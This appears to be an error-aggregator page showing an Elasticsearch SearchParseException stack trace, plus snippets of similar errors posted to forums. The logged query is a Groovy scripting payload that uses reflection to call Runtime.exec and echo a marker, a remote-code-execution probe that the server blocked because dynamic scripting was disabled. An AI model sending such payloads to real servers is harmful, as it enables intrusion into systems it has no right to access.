org.elasticsearch.search.SearchParseException: [please_read][2]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields": {"exp": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"echo qq952135763\").getInputStream())).readLines()","lang": "groovy"}}}]]


Solutions on the web110

Solution icon of googlegroups
via Google Groups by P.Leal, 8 months ago
[please_read][2]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields": {"exp": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance

Solution icon of stackexchange-serverfault
[foodmeup][2]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields":{"exp":{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance

Solution icon of googlegroups
[mrs][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str

Solution icon of stackoverflow
via Stack Overflow by Unknown author, 1 year ago
[events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str

Solution icon of stackoverflow
via Stack Overflow by Brandon Brown
, 1 year ago
[haystack_test][0]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str

Solution icon of stackoverflow
[index_name][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str

Solution icon of github
[2014_11][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str

Solution icon of github
via GitHub by dadoonet
, 1 year ago
[index][2]: from[-1],size[-1]: Parse Failure [Failed to parse source [{ "query": { "function_score": { "script_score": { "script":"return 2", "lang": "python" } } } } ]]

Solution icon of github
[library][2]: from[-1],size[-1]: Parse Failure [Failed to parse source [{"query":{"terms":{"status":["","1","","16",""]}}}]]

Solution icon of googlegroups
via Google Groups by Marko Uusitalo, 1 year ago
[logstash-2014.10.31][1]: from[-1],size[-1]: Parse Failure [Failed to parse source [{"facets":{"2":{"date_histogram":{"field":"@time$

Stack trace

org.elasticsearch.search.SearchParseException: [please_read][2]: 
from[-1],size[1]: Parse Failure [Failed to parse source 
[{"size":1,"script_fields": {"exp": 
{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"echo 
qq952135763\").getInputStream())).readLines()","lang": "groovy"}}}]]
	at org.elasticsearch.search.SearchService.parseSource(SearchService.java:687)
	at org.elasticsearch.search.SearchService.createContext(SearchService.java:543)
	at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:515)
	at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:277)
	at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
	at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
	at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: dynamic scripting for 
[groovy] disabled
	at org.elasticsearch.script.ScriptService.verifyDynamicScripting(ScriptService.java:399)
	at org.elasticsearch.script.ScriptService.compile(ScriptService.java:363)
	at org.elasticsearch.script.ScriptService.search(ScriptService.java:515)
	at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
	at org.elasticsearch.search.SearchService.parseSource(SearchService.java:671)
	... 9 more

Write tip

You have a different solution? A short tip here would help you and many other users who saw this issue last week.

Users with the same issue

You are the first who have seen this exception. Write a tip to help other users and build your expert profile.